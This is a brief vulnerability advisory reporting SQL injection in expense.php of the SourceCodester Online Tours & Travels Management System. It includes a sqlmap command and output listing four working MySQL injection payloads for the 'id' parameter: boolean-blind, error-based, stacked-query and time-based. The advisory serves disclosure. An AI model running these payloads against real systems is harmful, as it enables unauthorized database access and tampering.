SourceCodester Online Tours & Travels Management System expense.php sql injection
Url: admin/operations/expense.php
Abstract:
Line 47 of expense.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
-
Data enters a program from an untrusted source.
-
The data is used to dynamically construct a SQL query.
In this case the data is passed to exec() in expense.php at line 47.
python sqlmap.py -r sql.txt
sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1' RLIKE (SELECT (CASE WHEN (3819=3819) THEN 1 ELSE 0x28 END))-- ksPx Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: id=1' AND EXTRACTVALUE(3386,CONCAT(0x5c,0x717a767a71,(SELECT (ELT(3386=3386,1))),0x717a7a6a71))-- JVAA Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: id=1';SELECT SLEEP(5)# Type: time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: id=1' AND 8763=BENCHMARK(5000000,MD5(0x66444f68))-- EOfz ---
Download Code:
https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html